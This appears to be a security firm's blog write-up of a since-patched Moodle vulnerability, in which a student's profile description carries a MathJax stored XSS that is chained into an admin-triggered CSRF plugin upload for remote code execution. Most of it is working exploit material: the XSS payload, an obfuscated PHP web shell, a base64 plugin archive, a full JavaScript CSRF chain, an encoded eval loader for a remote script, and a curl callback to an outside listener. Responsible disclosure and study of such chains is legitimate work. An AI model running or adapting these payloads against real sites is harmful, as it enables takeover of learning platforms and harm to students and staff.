Hi all,
In this article we will cover a vulnerability that we found last month and reported it to the Moodle Security team and they patched it. However, it is a very interesting technique to exploit XSS beyond the boring alert box.
What is Moodle anyway?
Moodle is a Learning Platform or course management system (CMS) - a free Open Source software package designed to help educators create effective online courses based on sound pedagogical principles. You can download and use it on any computer you have handy (including webhosts), yet it can scale from a single-teacher site to a 200,000-student University. Moodle has a large and diverse user community with over 100,000 sites registered worldwide speaking over 140 languages in every country there is. - Moodle.org
Due to the current COVID-19 many universities started using Moodle to support their e-learning and to deliver their educational content to students at home. We saw a couple of Iraqi universities started using the platform and that gave us the motivation to start looking for interesting stuff. Since other hackers may take advantage of the lack of monitoring and start attacking students and universities in this time it is part of our ethical job to do our share of supporting the world in this hardship. Take a look at the platform statistics.
It is notoriously obvious that Moodle is a popular open-source software and that attracts the eyes of cybercriminals and script kiddies. Correspondingly, a lot of open source contributors are working on the project.
We used the Moodle sandbox demo to understand how the platform works and did some fuzzing while browsing the demo. The first thing to remember, is to check the roles model of the platform to have a better understanding of each role's privileges. After that we went deeper with the downloading the latest version of the project. We decided to look at security issues with the least privilege role (student). The student role has very limited access and can do only a couple of actions with filtered content.
First, we scanned the source code for obvious issues but to no avail, as we already said the project is very mature and protected.
One thing we focused on during this phase is finding any kind of privileges escalation. We were in the middle of that until we found another interesting input, which is the Description WYSIWYG editor. The downloaded version didn't show it up, but the Moodle sandbox demo did! We give it another look and it appeared that:
To prevent misuse by spammers, profile descriptions of users who are not yet enrolled in any course are hidden. New users must enroll in at least one course before they can add a profile description.
So we created a course and let the student account join it. And went to the following URL:
http://127.0.0.1/moodle/user/edit.php?id=3&returnto=profile
We tried every trick in the book to create a stored XSS but nothing worked until I wanted to read more about the Moodle plugin system and found that it uses Mathjax It isn't showing up but if you create a math equation with the following format: $$ x=1 $$
it will get rendered to:
Based on SecurityMB research that any MathJax version <2.7.4 is vulnerable to XSS, with this in mind we found out that MathJax was turned on by default and the version that Moodle uses is 2.7.2!
So with known attack vector ($$ \unicode{<img src=1 onerror=alert(1)>} $$
) from the previous research we were able to create a stored XSS in Moodle!
Now we have a stored XSS in the system! we can trick the admin to visit our profile and gets XSSed!
However, the boring alert box was not enough for this adventure. We wanted to take it to the next level.
Since we have a stored DOM XSS now we can steal the cookie, but there is an option in Moodle to use HTTPonly cookie so we can't get the admin cookie. Moreover, universities set the path /admin to whitelist IP addresses only. What we will do now?
While surfing the web I found this attack vector that needs an Admin user account to execute PHP commands and upload shell on Moodle instance, so we can create CSRF to do that, right?
To upload a Moodle plugin it has to meet the rules which we take a short time before getting into it.
There are multiple stages before you can upload a plugin so it isn't a simple CSRF page. We need to create a file upload CSRF and 2 steps after the upload CSRF to execute our shell.
As you can see there is an exploit in Ruby but it is different from our attack vector, here are the steps that we followed during writing our exploit:
version.php
and /lang/en/block_rce.php
files with the following content: block_rce.php
with @terjanq shell:
<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]);
version.php
xxxxxxxxxx
<?php
$plugin->version = 2020051300;
$plugin->component = 'block_rce';
rce.zip
rce.zip
file from binary form to base64, we used this code: xxxxxxxxxx
<script>
function onFileLoad(elementId, event) {
document.getElementById(elementId).innerText = event.target.result;
}
function onChooseFile(event, onLoadFileHandler) {
let input = event.target;
let file = input.files[0];
let fr = new FileReader();
fr.onload = onLoadFileHandler;
var fileContent = fr.readAsDataURL(file);
}
</script>
<input type='file' onchange='onChooseFile(event, onFileLoad.bind(this, "contents"))' />
<p id="contents"></p>
<!--
rce.zip to base64
data:application/x-zip-compressed;base64,UEsDBAoAAAAAAHmCuFAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAACLhbhQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACADNoLlQGp+xOCMAAAAoAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsbdVibdVV7Gx01ePU68GAnVrlWqV+Nro+FgNKCM+VtMaAFBLAwQUAAAACACGhbhQ8uNzbUEAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAAeYK4UAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGABsztMBzjHWAWzO0wHOMdYB7kmh/M0x1gFQSwECHwAKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgA7OKXLc0x1gHs4pctzTHWAcnriynNMdYBUEsBAh8ACgAAAAAAi4W4UAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAORxW27RMdYB5HFbbtEx1gGsuPYszTHWAVBLAQIfABQAAAAIAM2guVAan7E4IwAAACgAAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgAKwWc07Yy1gErBZzTtjLWAWqgKf/MMdYBUEsBAh8AFAAAAAgAhoW4UPLjc21BAAAASQAAAA8AJAAAAAAAAAAgAAAAzQAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAJX8ImnRMdYBlfwiadEx1gF4spXKzDHWAVBLBQYAAAAABQAFANsBAAA7AQAAAAA=
-->
xxxxxxxxxx
const URL = "http://127.0.0.1/moodle/"; // Change this to your target URL
fetch(URL + "admin/tool/installaddon/index.php", {
credentials: "include",
})
.then((res) => {
return res.text();
})
.then((data) => {
let sesskey = data.split('"sesskey":"')[1].split('"')[0];
let itemid = data.split("amp;itemid=")[1].split("&")[0];
let author = data.split('title="View profile">')[1].split("<")[0];
let clientid = data.split('client_id":"')[1].split('"')[0];
// rce.zip
let url =
"data:application/x-zip-compressed;base64,UEsDBAoAAAAAAHmCuFAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAACLhbhQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACADNoLlQGp+xOCMAAAAoAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsbdVibdVV7Gx01ePU68GAnVrlWqV+Nro+FgNKCM+VtMaAFBLAwQUAAAACACGhbhQ8uNzbUEAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAAeYK4UAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGABsztMBzjHWAWzO0wHOMdYB7kmh/M0x1gFQSwECHwAKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgA7OKXLc0x1gHs4pctzTHWAcnriynNMdYBUEsBAh8ACgAAAAAAi4W4UAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAORxW27RMdYB5HFbbtEx1gGsuPYszTHWAVBLAQIfABQAAAAIAM2guVAan7E4IwAAACgAAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgAKwWc07Yy1gErBZzTtjLWAWqgKf/MMdYBUEsBAh8AFAAAAAgAhoW4UPLjc21BAAAASQAAAA8AJAAAAAAAAAAgAAAAzQAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAJX8ImnRMdYBlfwiadEx1gF4spXKzDHWAVBLBQYAAAAABQAFANsBAAA7AQAAAAA=";
fetch(url)
.then((res) => res.blob())
.then((blob) => {
const file = new File([blob], "rce.zip", {
type: "application/x-zip-compressed",
});
myFormData = new FormData();
myFormData.append("title", "");
myFormData.append("author", author);
myFormData.append("license", "allrightsreserved");
myFormData.append("itemid", itemid);
myFormData.append("accepted_types[]", ".zip");
myFormData.append("repo_id", 4);
myFormData.append("p", "");
myFormData.append("page", "");
myFormData.append("env", "filepicker");
myFormData.append("sesskey", sesskey);
myFormData.append("client_id", clientid);
myFormData.append("maxbytes", -1);
myFormData.append("areamaxbytes", -1);
myFormData.append("ctx_id", 1);
myFormData.append("savepath", "/");
myFormData.append("repo_upload_file", file, "rce.zip");
fetch(
URL + "repository/repository_ajax.php?action=upload",
{
method: "post",
body: myFormData,
credentials: "include",
}
)
.then((res) => {
return res.text();
})
.then((res) => {
let zipFile = res.split("draft\\/")[1].split("\\/")[0];
myFormData = new FormData();
myFormData.append("sesskey", sesskey);
myFormData.append(
"_qf__tool_installaddon_installfromzip_form",
1
);
myFormData.append("mform_showmore_id_general", 1);
myFormData.append("mform_isexpanded_id_general", 1);
myFormData.append("zipfile", zipFile);
myFormData.append("plugintype", "block");
myFormData.append("rootdir", "");
myFormData.append(
"submitbutton",
"Install+plugin+from+the+ZIP+file"
);
fetch(
URL + "admin/tool/installaddon/index.php",
{
method: "post",
body: myFormData,
credentials: "include",
}
)
.then((res) => {
return res.text();
})
.then((res) => {
// debugger;
let installzipstorage = res
.split('installzipstorage" value="')[1]
.split('"')[0];
myFormData = new FormData();
myFormData.append("installzipcomponent", "block_rce");
myFormData.append("installzipstorage", installzipstorage);
myFormData.append("installzipconfirm", 1);
myFormData.append("sesskey", sesskey);
fetch(
URL + "admin/tool/installaddon/index.php",
{
method: "post",
body: myFormData,
credentials: "include",
}
).then(() => {
fetch(
URL + "blocks/rce/lang/en/block_rce.php?_=system&__=curl%20http://192.168.153.138:1234/"
);
});
});
});
});
});
http://sandbox.ahussam.me/rce_moodle.js
Write the trigger MathJax payload:
xxxxxxxxxx
$$ \unicode{<img src='x' onerror='eval(`eval(atob("dmFyIG5ld1NjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOyBuZXdTY3JpcHQuc3JjID0gImh0dHA6Ly9zYW5kYm94LmFodXNzYW0ubWUvcmNlX21vb2RsZS5qcyI7IG1haW5jb250ZW50LmFwcGVuZENoaWxkKG5ld1NjcmlwdCk7"))`)'>} $$
Update the profile description with the previous payload.
Send the URL the Admin user and listen on port 1234
When the admin opens the URL the shell gets uploaded and you get a curl connection
We reported this finding to the Moodle team and they patched and were very responsive and friendly during the process.
If you think your site/app/network are secure and want to make sure about that then
give us a call contact@cube01.io